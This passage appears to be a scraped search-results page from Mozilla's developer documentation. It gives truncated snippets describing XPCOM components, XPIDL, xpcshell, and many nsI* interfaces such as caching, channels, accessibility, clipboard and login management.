erfaces, and offers some interesting features, like automatic generation of documentation, and xpt generation. the first thing to do is to decide what our interface, nsidomfabian, will do. for the purpose of this document, i have chosen to implement a new html interface called nsidomfabian. it will be implemented by the class nshtmldocument. the syntax of xpidl is straightforward: #include "domstubs.idl"; [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsidomfabian : nsisupports { void fabian(); readonly attribute boolean neat; }; this is the definition of the nsidomfabian interface. the uuid of the interface is a unique identifier. every interface needs one. you can generate them using guidgen on windows, or by issuing the command "mozbot uuid" in ...
Components.classes
to access a service (a singleton component, only single instance of which exists at any time), you should use getservice instead of createinstance: var os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); the first time anyone accesses a service, the corresponding co...
Components.lastResult
t method. most interfaces only return one success code -- ns_ok -- so components.lastresult is rarely necessary. in cases where components.lastresult is used, it is best to get it right away after the target call is made and save it in a local variable to test its value rather than doing multiple tests against components.lastresult. this is because many 'components' properties and methods are themselves implemented using xpconnect and subsequent calls to components.lastresult might reflect the result of 'implicit' xpconnect calls rather than the result of the target call. example in the following example, the local variable i contains the actual result returned by bar() (assuming that bar() is called via xpconnect), and components.lastresult contains the success code returned by bar(). /...
Components.results
introduction components.results is an object whose properties are the names of well-known xpcom result codes, with each value being that of the corresponding result code. elements in this array can be used to test against unknown nsresult variables or they can be 'thrown' to indicate failure... ...
Components.utils.Sandbox
is available by default for sandboxes, and you use this option to remove it from the sandbox. note that "-promise" is removed in firefox 37. ...
Components.utils.import
jslint which reports compiler errors for the above, components.utils["import"](url [, scope]); parameters url a string of the url of the script to be loaded. the url must point to a file on the disk, possibly in a jar. scope an optional object to import onto; if omitted, the global object is used. under boot2gecko, the scope is not optional. if your code is meant to work on all platforms, you should always provide a scope. in case of doubt, this is generally a good scope. return value the module's global object. use of the return value is discouraged since it grants access to the module's internal properties which are not part of its public api. import throws if it encounters an error (like a syntax error) in the file it reads. example components.utils.import("resource...
JavaXPCOM
com from within java. embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects. as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++. view all... community view mozilla embedding forums... mailing list newsgroup rss feed related topics xpcom, embedding mozilla ...
Community
activestate python xpcom bindings mailing list discussion of the bindings between the python language and the xpcom (cross-platform com) technology from the mozilla project. ...
XPCshell Test Manifest Expressions
are supported as a series of letters, digits or underscores beginning with a letter or an underscore. there are a fixed set of variables provided by the test harness via mozinfo.py, with many of the values initialized at configure time by writemozinfo.py which writes mozinfo.json into the root of the build directory. see also the official docs for this set of variables. ...
xpcshell
the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available. to rectify this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use javascript 1.8. example you can input javascript, straight to mozilla. js> 5+7 12 js> print("hello, world!") hello, world! js> see also howto for common problems in writing xpcshell scripts, e.g., doing async network calls or using js modules. pretty much all mozilla programs use xpcom components via xpconnect. read xpconnect:using components to get started with that. see the xpcshell reference for information on command line arguments and extension functions. learn how to write xpcshell-based unit tests. read xpcshell:profiling for information on ho...
Language bindings
ectively.components.lastresultcomponents.managercomponents.manager is a convenience reflection of the global native component manager service. the scriptable methods on the nsicomponentmanager interface can be called directly on this object.components.resultscomponents.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at table of errors), with the value of each corresponding to that constant's value.components.returncodecomponents.stackcomponents.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack. this can be used for various diagnostic purposes.components.utilscomponents.utils is a collection of various useful xpconnect fe...
nsresult
« xpcom api reference the nsresult data type is a strongly-typed enum used to represent a value returned by an xpcom function; these are typically error or status codes. for a list of defined result values, see error codes returned by mozilla apis. note: on compilers that do not support strongly-typed enums (that is, compilers that don't support this feature of c++11), it falls back to being an unsigned 32-bit integer, as in past versions of gecko. note: prior to gecko 19.0, nsresult was not strongly typed. as a result, it was possible for code to misuse it, such as returning an nsresult value from a function whose signature indicates it returns a boolean. because nsresult is strongly typed, code like the following will result in an error at compile time: bool foo() { ... ...
nsAString
removes a section of the string's internal buffer. operators operator= this operator is a shortcut for the assign family of functions. operator+= this operator is a shortcut for the append family of functions. remarks the nsastring class is never instantiated directly. it should be instantiated using a subclass, such as nsembedstring . nsastring corresponds to the astring and domstring xpidl data types. nsastring by itself does not imply a particular character encoding. that is, it may be used to store utf-16 characters, ucs-2 characters, or any random double-byte data. the character encoding in use for a particular nsastring instance depends on the context in which it is used. if used with xpidl, then the character encodings of the corresponding xpidl data types applies. ...
RefPtr
ment addref() and release() and it will work with refptr it is important that nscomptr is not used to hold a pointer to a concrete class since this can cause compile time errors or runtime errors. bug 756640 is on file to enforce this rule but hasn't yet been fixed. while refptr should not generally be used to hold a pointer to an xpcom interface, this is flexible. there are no technical problems with doing so, and in some cases it may be necessary (see bug 756640 comment 1). for example, we have template classes such as owningnullptr that can contain a refptr to an xpcom interface. xxx it's not clear that the details in the following paragraph are correct. it was derived from an old #developers discussion. it's unclear to me when the compiler will reject an attempt to use nscomptr to ho...
IAccessibleComponent
ct that can be rendered on the screen. 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface provides the standard mechanism for an assistive technology to retrieve information concerning the graphical representation of an object. coordinates used by the functions of this interface are specified in different coordinate systems. their scale is the same and is equal to that of the screen coordinate system. in other words all coordinates are measured in pixels. they differ in their respective origin: the screen coordinate system has its origin in the upper left corner of the current screen. the origin of the parent coordinate system is the upper left corner of the parent's bounding box. with no parent the screen coordina...
mozIStorageAsyncStatement
inherited interface mozistoragebasestatement ...
nsIAbCard
homezipcode astring homecountry astring workaddress astring workaddress2 astring workcity astring workstate astring workzipcode astring workcountry astring jobtitle astring department astring company astring aimscreenname astring anniversaryyear astring anniversarymonth astring anniversaryday astring spousename astring familyname astring defaultaddress astring category astring webpage1 astring used for the contact's work web page webpage2 astring used...
DoAction
action number 0 is the default action. void doaction( in pruint8 aindex ); parameters aindex[in] the zero-based index. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. ns_error_invalid_arg indicates that the given index is our of range. ...
GetKeyBindings
return values returns array of localized string of global keyboard accelerator. ...
KeyboardShortcut
« nsiaccessible page summary provides localized string of accesskey name, such as alt+d (alt + d). the modifier may be affected by user and platform preferences. usually alt+letter (alt + letter), or just the letter alone for menu items. attribute astring keyboardshortcut; see also nsiaccessible.defaultkeybinding nsiaccessible.getkeybindings() ...
nsIAccessibleRelation
rmation from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible. relation_description_for 0x0f this object is describes the target object. relation_default_button 0x4000 part of a form/dialog with a related default button. it is used for msaa only, no for ia2 nor atk/at-spi. methods gettarget() returns accessible relation target at the given index. nsiaccessible gettarget( in unsigned long index ); parameters index zero-based index of relation target. return value returns an nsiaccessible object. exceptions thrown ns_error_invalid_arg indicates the given index is out of range. ...
nsIAccessibleTextChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean isinserted(); attributes attribute type description length unsigned long returns length of changed text. read only. modifiedtext domstring the inserted or removed text. read only. start long returns offset of changed text in accessible. read only. methods isinserted() boolean isinserted(); parameters none. return value true if text was inserted, otherwise false. ...
nsIAccessibleWin32Object
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description hwnd voidptr handle to the external window implementing iaccessible. read only. ...
nsIApplicationUpdateService
y access privileges for the install directory. read only. obsolete since gecko 1.9.1.7pre isdownloading boolean true if a download is in progress, otherwise false. read only. methods adddownloadlistener() adds a listener that receives progress and state information about the update that is currently being downloaded. this information is most commonly used to update a user interface that informs the user as to the status of an update. void adddownloadlistener( in nsirequestobserver listener ); parameters listener an object implementing nsirequestobserver and optionally nsiprogresseventsink that will be notified of state and progress information as the update is downloaded. downloadupdate() starts downloading a software update. astring downloadupdate( in nsiupdate update, in b...
nsIArray
tindex. element the element you are looking for. return value a number >= startindex which is the position of the element in the array. exceptions thrown ns_error_failure if the element was not in the array. queryelementat() retrieve a specific element of the array, and queryinterface it to the specified interface. null is a valid result for this method, but exceptions are thrown in other circumstances. void queryelementat( in unsigned long index, in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result ); parameters index position of element. uuid the iid of the requested interface. result the object, queryinterface'd to the requested interface. exceptions thrown ns_error_illegal_value when index > length-1. see also nsimutablearray ...
nsIAsyncInputStream
-blocking, it may return ns_base_stream_would_block when read. the caller must then wait for the stream to have some data to read. if the stream implements nsiasyncinputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes readable or closed (via the asyncwait() method). while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsiinputstream.isnonblocking() return true. nor is it necessary that a non-blocking nsiinputstream implementation also implement nsiasyncinputstream. method overview void asyncwait(in nsiinputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult astatus); constants ...
nsIAsyncOutputStream
-blocking, it may return ns_base_stream_would_block when written to. the caller must then wait for the stream to become writable. if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes writable or closed (via the asyncwait() method). while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsioutputstream.isnonblocking() return true. nor is it necessary that a non-blocking nsioutputstream implementation also implement nsiasyncoutputstream. method overview void asyncwait(in nsioutputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult reason); constants...
nsIAuthInformation
lag. read only. password astring the initial value should be used to prefill the dialog or be shown in some other way to the user. the password should not be shown in clear. on return, this parameter should contain the password entered by the user. realm astring the server-supplied realm of the authentication as defined in rfc 2617. can be the empty string if the protocol does not support realms. otherwise, this is a human-readable string like "secret files". read only. username astring the initial value should be used to prefill the dialog or be shown in some other way to the user. on return, this parameter should contain the username entered by the user. this field can only be changed if the #only_password flag is not set. constants constant value description auth_host 1 this...
nsIAuthPromptWrapper
persisting data from the prompts and using it to pre-fill subsequent prompts would be one such action. embedding/components/windowwatcher/public/nsiauthpromptwrapper.idlscriptable please add a summary to this article. last changed in gecko 1.7 inherits from: nsiauthprompt method overview void setpromptdialogs(in nsiprompt dialogs); methods setpromptdialogs() this method sets a prompt dialog using the given dialog implementation which will be used to display the prompts. ...
nsIBinaryInputStream
ptable this interface allows consumption of primitive data types from a "binary stream" containing untagged, big-endian binary data, that is as produced by an implementation of nsibinaryoutputstream. this might be used, for example, to implement network protocols or to read from architecture-neutral disk files, that is ones that can be read and written by both big-endian and little-endian platforms. inherits from: nsiinputstream last changed in gecko 1.7 method overview pruint8 read8(); pruint16 read16(); pruint32 read32(); pruint64 read64(); unsigned long readarraybuffer(in pruint32 alength, in jsval aarraybuffer); prbool readboolean(); void readbytearray(in pruint32 alength, [array, size_is(alength), retval] out pruint8 ...
nsIBinaryOutputStream
putstream.idlscriptable this interface allows writing of primitive data types (integers, floating-point values, booleans, and so on.) to a stream in a binary, untagged, fixed-endianness format. this might be used, for example, to implement network protocols or to produce architecture-neutral binary disk files, that is ones that can be read and written by both big-endian and little-endian platforms. output is written in big-endian order (high-order byte first), as this is traditional network order. inherits from: nsioutputstream last changed in gecko 1.7 method overview void setoutputstream(in nsioutputstream aoutputstream); void write8(in pruint8 abyte); void write16(in pruint16 a16); void write32(in pruint32 a32); void write64(in pruint64 a64); void writeboolean(in prboo...
nsICache
es the cache entry to reside in persistent storage, and in a separate file. store_offline 4 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. requires the cache entry to reside in persistent, reliable storage for offline use. not_stream_based 0 all entries for a cache session are stored as streams of data or as objects. this constant specify that cache session is not a stream based entry when calling nsicacheservice.createsession() method. stream_based 1 all entries for a cache session are stored as streams of data or as objects. this constant specify that cache session is a stream based entry when calling nsicacheservice.createsession() method. non_blocking 0 the synchronous opencache...
nsICacheDeviceInfo
netwerk/cache/nsicachevisitor.idlscriptable this interface provides information about a cache device. inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description description string get a human readable description of the cache device. read only. entrycount unsigned long get the number of stored cache entries. read only. maximumsize unsigned long get the upper limit of the size of the data the cache can store. read only. totalsize unsigned long get the total size of the stored cache entries. read only. usagereport string get a usage report, statistics, miscellaneous data about the cache device. read only. see also nsicache nsicachevisitor ...
nsICacheEntryDescriptor
ts get or set security info on the cache entry for this descriptor. this fails if the storage policy is not store_in_memory. storagepolicy nscachestoragepolicy get or set the storage policy of the cache entry. see nsicache for the definitions of the storage policies. methods close() this method explicitly closes the descriptor (optional). void close(); parameters none. doom() this method dooms the cache entry this descriptor references in order to slate it for removal. once doomed a cache entry cannot be undoomed. a descriptor with write access can doom the cache entry and choose to fail pending requests. this means that pending requests will not get a cache descriptor. this is meant as a tool for clients that wish to instruct pending requests to skip the cache. void doom(); parameter...
nsICacheService
poraryclientid( in nscachestoragepolicy storagepolicy ); parameters storagepolicy the cache storage policy. return value returns a newly created unique, temporary cache client id. exceptions thrown ns_error_not_implemented this method is deprecated. evictentries() this method evicts all entries in all devices implied by the storage policy. note: this function may evict some items but will throw if it fails to evict everything. void evictentries( in nscachestoragepolicy storagepolicy ); parameters storagepolicy the cache storage policy. init() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) initialize the cache service. void init(); parameters none. exceptions thrown missing exception missing descripti...
nsICacheSession
available. void asyncopencacheentry( in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait ); parameters key the key for cache entry. accessrequested the requested access. listener the cache listener to be notified. nowait do not wait for the cache entry when it is in use and waits for validation. doomentry() asynchronously dooms an entry specified by the key. void doomentry( in acstring key, in nsicachelistener listener ); parameters key the key for cache entry. listener the cache listener to be notified (may be null). evictentries() this method evicts all entries for this session's clientid according to its storagepolicy. void evictentries(); parameters none. isstorageenabled() this method checks if the cache dev...
nsIChannel
e channel's and loadgroup's notification callbacks do not provide an nsichanneleventsink when onchannelredirect would be called, that's equivalent to having called onchannelredirect. if asyncopen returns successfully, the channel is responsible for keeping itself alive until it has called onstoprequest on alistener or called onchannelredirect. implementations are allowed to synchronously add themselves to the associated load group (if any). void asyncopen( in nsistreamlistener alistener, in nsisupports acontext ); parameters alistener the nsistreamlistener implementation. acontext an opaque parameter forwarded to alistener's methods. exceptions thrown ns_error_already_opened if the channel is reopened ns_error_port_access_not_allowed if the specified port is in the nsi...
nsIClipboard
e clipboard and notifies the clipboard owner. it empties the "logical" clipboard. it does not clear the native clipboard. void emptyclipboard( in long awhichclipboard ); parameters awhichclipboard specifies the clipboard to which this operation applies. forcedatatoclipboard() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) some platforms support deferred notification for putting data on the clipboard this method forces the data onto the clipboard in its various formats this may be used if the application going away. void forcedatatoclipboard( in long awhichclipboard ); parameters awhichclipboard specifies the clipboard to which this operation applies. getdata() this method retrieves data from the clipboard into a tran...
nsIClipboardDragDropHooks
o do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop. inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate). adding them to the first window does not enable them for every window. if more than one implementation is set for a window, the hooks will be called in t...
nsICommandLine
ean acasesensitive); void removearguments(in long astart, in long aend); nsifile resolvefile(in astring aargument); nsiuri resolveuri(in astring aargument); attributes attribute type description length long number of arguments in the command line. the application name is not part of the command line. read only. preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example). this flag allows the default action to be prevented. state unsigned long the type of command line being processed. see state constants. read only. windowcontext nsidomwindow a window to be targeted by this command line. in most cases, this will be null (xremote will sometimes s...
nsIContentFrameMessageManager
ce. it enables these scripts to receive messages from the chrome process and send messages back to the chrome process. frame scripts can send either synchronous or asynchronous messages to the chrome process: for details on these messaging apis see the documentation for the nsicontentframemessagemanager's parent classes nsisyncmessagesender and nsimessagesender. methods void dump(in domstring astr); domstring atob(in domstring aasciistring); domstring btoa(in domstring abase64data); dump() prints the specified string to standard output. parameters name type description astr string the message to log. atob() convert ascii base64 data to binary data. parameters name type description ...
nsIDOMFontFaceList
of nsidomfontface objects, each representing a single font face. 1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview nsidomfontface item(in unsigned long index); attributes attribute type description length unsigned long the number of items in the list. read only. methods item() returns the nsidomfontface object at the specified index into the list. nsidomfontface item( in unsigned long index ); parameters index the index into the array of the font face object to return. return value an nsidomfontface object representing a single font face. see also nsidomfontface @font-face ...
nsIDOMGeoPositionError
n operations. dom/interfaces/geolocation/nsidomgeopositionerror.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports attributes attribute type description code short numerical error code; see error constants for a complete list. read only. message domstring human readable error message. read only. gecko 1.9.2 note the message attribute was removed in gecko 1.9.2 (firefox 3.6). error constants constant value description permission_denied 1 the user denied permission to retrieve location data. position_unavailable 2 unable to access location data. timeout 3 a timeout occ...
nsIDOMMozNetworkStats
e of the network stats object. inherits from: nsisupports last changed in gecko 1.0 implemented by: @mozilla.org/networkstats;1. to create an instance, use: var networkstatsmanager = components.classes["@mozilla.org/networkstats;1"] .createinstance(components.interfaces.nsidomnetworkstats); attributes attribute type description connectiontype domstring connection type of the stats. read only. data nsidommoznetworkstatsdata array stats samples. read only. start date start date of the stats samples. read only. end date end date of the stats samples. read only. ...
nsIDOMXPathResult
ult; can be any of the type constants except any_type. read only. singlenodevalue nsidomnode if resulttype is any_unordered_node_type or first_ordered_node_type, a single dom node. read only. snapshotlength unsigned long if resulttype is unordered_node_snapshot_type or ordered_node_snapshot_type, the length of the snapshort array. read only. stringvalue domstring if resulttype is string_type, the boolean value. read only. constants type constants constant value description any_type 0 used when evaluating an xpath expression; the evaluator will return the most appropriate type. number_type 1 type is a single number. string_type 2 type is a single string. boolean_type 3 ...
nsIDebug
e); methods abort() requests the process to trigger a fatal abort. void abort( in string afile, in long aline ); parameters afile file containing abort request. aline line number of abort request. assertion() shows an assertion and triggers optional behavior based on the xpcom_debug_break environment variable, defaulting to calling break() on windows and os/2 and warning on other platforms. void assertion( in string astr, in string aexpr, in string afile, in long aline ); parameters astr assertion message. aexpr expression that failed. afile file containing assertion. aline line number of assertion. break() requests the software break into a debugger. if no debugger is running then this usually results in a program crash. however, on windows a dialog is first presented g...
nsIDroppedLinkItem
dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description url domstring url of the dropped link. name domstring name of the dropped link. type domstring mime-type of the dropped link. see also nsidroppedlinkhandler ...
nsIDynamicContainer
containernodeclosed() this method is called when the given container has just been collapsed so that the service can do any necessary cleanup. this is not guaranteed to get called. in particular, if the query just goes away, you will not get this call. this only happens when the container itself goes from the open state to the closed state. a service with large numbers of dynamically populated items might use this to do some cleanup so those items don't hang around. void oncontainernodeclosed( in nsinavhistorycontainerresultnode acontainer ); parameters acontainer the container node of the container being closed. the service need not worry about removing any created nodes, they will be automatically removed when this call completes. oncontainernodeopening() this method is called when th...
nsIEditor
/ seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected content removal void deleteselection(in short action, in short stripwrappers); document info and file methods void resetmodificationcount(); long getmodificationcount(); void incrementmodification...
nsIEffectiveTLDService
cko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/effective-tld-service;1. to use this service, use: var etldservice = components.classes["@mozilla.org/network/effective-tld-service;1"] .getservice(components.interfaces.nsieffectivetldservice); the name "effective tld service" is a historical one; today, the items this interface manipulates are called public suffixes, and the list of them is the public suffix list, or psl. see publicsuffix.org for more information. the methods below implement the public suffix algorithm in full, including the implicit "*" rule. therefore, if you call getpublicsuffix("a.b.c.nonexistent"), you will get back "nonexistent" - this "tld" is not in the public suffix list, but th...
nsIEnvironment
returns the value of the env variable. an empty string will be returned when the env variable does not exist or when the value itself is an empty string - please use exists() to probe whether the env variable exists or not. exists() check the existence of an environment variable. this method checks whether an environment variable is present in the environment or not. note: * for unix/linux platforms we follow the unix definition: an environment variable exists when getenv() returns a non-null value. an environment variable does not exist when getenv() returns null. for non-unix/linux platforms we have to fall back to a "portable" definition (which is incorrect for unix/linux!!!!) which simply checks whether the string returned by get() is empty or not. boolean exists( in astring aname...
nsIExternalProtocolService
of the uri syntax, not part of the scheme itself. that is, pass "mailto" not "mailto:". return value true if we have a handler and false otherwise. getapplicationdescription() gets a human-readable description for the application responsible for handling a specific protocol. astring getapplicationdescription( in autf8string ascheme ); parameters ascheme the scheme to look up. for example, "mms". return value this code makes little sense and needs to be cleaned up. -nickolay <pre> // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/extern...
nsIExternalURLHandlerService
s. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsihandlerinfo geturlhandlerinfofromos(in nsiuri aurl, out boolean afound); methods geturlhandlerinfofromos() given a url, looks up the handler info from the operating system. this should be overridden by each operating systems implementation. nsihandlerinfo geturlhandlerinfofromos( in nsiuri aurl, out boolean afound ); parameters aurl the url we are looking for. afound was an operating system default handler for this url found? return value an nsihanderinfo for the protocol. ...
nsIFTPEventSink
the nsiftpeventsink is an extension of nsisupports. it can be used as a notification callback on an ftp channel. netwerk/protocol/ftp/nsiftpchannel.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onftpcontrollog(in boolean server, in string msg) methods onftpcontrollog allows a consumer to receive a log of the ftp control connection conversation. void onftpcontrollog ( in boolean server, in string msg); parameters server a boolean value specifying whether you are a server or a client. msg a string holding response of the last command which had been sent. ...
nsIFactory
in memory until it is finished with it. gecko 1.7 note as of gecko 1.7, this method is unused. most implementations do nothing interesting with this method. it exists primarily for binary compatibility with microsoft com's iclassfactory interface. void lockfactory( in prbool lock ); parameters lock true to lock the factory, and false to unlock the factory. remarks on win32 systems, nsifactory is abi-compatible with microsoft com's iclassfactory interface. this interface was frozen for gecko 0.9.5. see bug 99144 for details. from gecko 2.0 interfaces are no longer frozen. see also nsisupports ...
nsIFeedProgressListener
toolkit/components/feeds/public/nsifeedlistener.idlscriptable this interface defines callbacks used during the processing of an rss or atom feed. programs using the feed content access api do not have to implement any of these callbacks; they are optional, but allow you to provide feedback during the parsing process. 1.0 66 introduced gecko 1.8 inherits from: nsifeedresultlistener last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleentry(in nsifeedentry entry, in nsifeedresult result); void handlefeedatfirstentry(in nsifeedresult result); void handlestartfeed(in nsifeedresult result); void reporterror(in astring errortext, in long linenumber, in boolean bozo); metho...
nsIFeedResultListener
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleresult(in nsifeedresult result); methods handleresult() called when feed processing is complete. even if an error occurred during processing, there may be valid data available for feed-level data or entries processed before the error occurred. ...
nsIFileInputStream
inherits from: nsiinputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constant value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed. it may be removed before the stream is closed if it is possible to delete it and still read from it. if open_on_read is defined, and the file was recreated after the first delete, the file will be deleted again when it is closed again. ...
nsIFileOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants behavior flag constants constant value description defer_open 1<<0 see the same constant in nsifileinputstream. ...
nsIFilePicker
addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; nothing happens if there is no such concept on the user's platform). this attribute has no effect if private browsing mode is in effect. defaultextension astring the extension for the type of files you want to work with. on some platforms, this is automatically appended to filenames the user enters, if required. specify it without a leading dot, for example "jpg". defaultstring astring the filename, including extension, that should be suggested to the user as a default. this should be set before calling open() or show(). exceptions thrown ns_error_failure if you try to read this attribute. ...
nsIFileProtocolHandler
in nsifile file ); parameters file the nsifile to convert. return value corresponding url string. the resulting string may contain url-escaped characters. geturlspecfromfile() converts the nsifile to the corresponding url string. if the nsifile is a local file, then the result will be a file:// url string. the resulting string may contain url-escaped characters. note: under some platforms this is a lossy conversion. note: callers should use geturlspecfromactualfile() if possible, for performance reasons. autf8string geturlspecfromfile( in nsifile file ); parameters file the nsifile to convert. return value corresponding url string. the resulting string may contain url-escaped characters. newfileuri() this method constructs a new file uri. nsiuri newfileuri( in ns...
nsIFocusManager
clicked on an element. flag_bykey 0x2000 focus is changing due to a key operation, for instance pressing the tab key. this flag would normally be passed when movefocus_forward or movefocus_backward is used. flag_bymovefocus 0x4000 focus is changing due to a call to movefocus(). this flag will be implied when movefocus() is called except when one of the other mechanisms (mouse or key) is specified, or when the type is movefocus_root or movefocus_caret. flag_showring 0x100000 always show the focus ring or other indicator of focus, regardless of other state. movefocus_forward 1 move focus forward one element, used when pressing tab. movefocus_backward 2 move focus backward one element, used when pressing shift+tab. ...
nsIFrameLoaderOwner
ed by this nsiframeloaderowner. read only. methods getframeloader() returns the frame loader object owned by this object. [noscript, notxpcom] alreadyaddrefed_nsframeloader getframeloader(); parameters none. return value the nsiframeloader owned by this object. swapframeloaders() swaps frame loaders with the given nsiframeloaderowner. this may only be possible in a very limited set of circumstances, or never, depending on the object implementing this interface. void swapframeloaders( in nsiframeloaderowner aotherowner ); parameters aotherowner the other frame loader owner with which to swap frame loaders. exceptions thrown ns_error_dom_security_err if the swap is not allowed on security grounds. ns_error_not_implemented if the swapping logic is not implem...
nsIGlobalHistory3
duri() because it provides more information (including the redirect destination, channels involved, and redirect flags) to the history implementation. for implementors of nsiglobalhistory3: the history implementation is responsible for sending ns_link_visited_event_topic to observers for redirect pages. this notification must be sent for history consumers for all non-redirect pages. the other params to this function are the same as those for nsichanneleventsink.onchannelredirect(). implementors who wish to implement this interface but rely on nsiglobalhistory2.adduri() for redirect processing may throw ns_error_not_implemented from this method. if they do so, then callers must call nsiglobalhistory2.adduri() upon getting the ns_error_not_implemented result. void adddocumentredirect( in nsi...
nsIHTTPHeaderListener
through {geturl,posturl}()'s streamlistener parameter. the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. method overview void newresponseheader(in string headername, in string headervalue); void statusline(in string line); methods newresponseheader() called for each http response header. note: you must copy the values of the params. void newresponseheader( in string headername, in string headervalue ); parameters headername headervalue statusline() called once for the http response status line. value does not include a terminating newline. note: you must copy this value. void statusline( in string line ); parameters line ...
nsIHttpChannelInternal
rade() allows for the use of http to bootstrap another protocol via the rfc 2616 upgrade request header in conjunction with a 101 level response. the nsihttpupgradelistener will have its nsihttpupgradelistener.ontransportavailable() method invoked if a matching 101 is processed. the arguments to nsihttpupgradelistener.ontransportavailable() provide to the new protocol the low level transport streams that are no longer used by http. the onstartrequest and onstoprequest events are still delivered and the listener gets full control over the socket if and when nsihttpupgradelistener.ontransportavailable() is delivered. void httpupgrade( in acstring aprotocolname, in nsihttpupgradelistener alistener ); parameters aprotocolname the value of the http upgrade request header. alistener the call...
nsIIDNService
in autf8string input ); parameters input the hostname to convert to ace format. return value the ace encoded version of the hostname. isace() determines whether or not the specified hostname is ace encoded. boolean isace( in acstring input ); parameters input the string to check. return value returns true if the specified string is ace encoded; otherwise, returns false. normalize() performs the unicode normalization needed for hostnames in idn. this is useful if you need to normalize a hostname separately from converting it to display format. autf8string normalize( in autf8string input ); parameters input the hostname to normalize. return value the normalized hostname. see also idn charter idn site idna specification ...
nsIIdleService
itself. when the user goes idle, the observer topic is 'idle' and when they get back, the observer topic is 'back' in gecko 15 and earlier or 'active' in gecko 16 and later. the data parameter for the notification contains the current user idle time in gecko 15 and earlier or 0 in gecko 16 and later. you can add the same observer twice. most implementations need to poll the os for idle info themselves, meaning your notifications could arrive with a delay up to the length of the polling interval in that implementation. current implementations use a delay of 5 seconds. gecko 1.9.2 note starting in gecko 1.9.2, there is a once a day notification sent out if the user remains idle for an extended period: 'idle-daily'. the data parameter for the notification contains the current user idl...
nsILoginManager
login, specify "" (empty string). to not match any protocol logins (for example when interested in form logins only), specify null. return value the number of logins matching the parameters passed. fillform() fills out a form with login information, if appropriate information is available. note: this method will attempt to fill out the form regardless of the setting of the signon.autofillforms preference. boolean fillform( in nsidomhtmlformelement aform ); parameters aform the htmlform to attempt to fill out. return value true if the form was successfully filled out; otherwise false. findlogins() searches for logins matching the specified criteria. called when looking for logins that might be applicable to a given form or authentication request. void findlogins( out un...
nsILoginManagerStorage
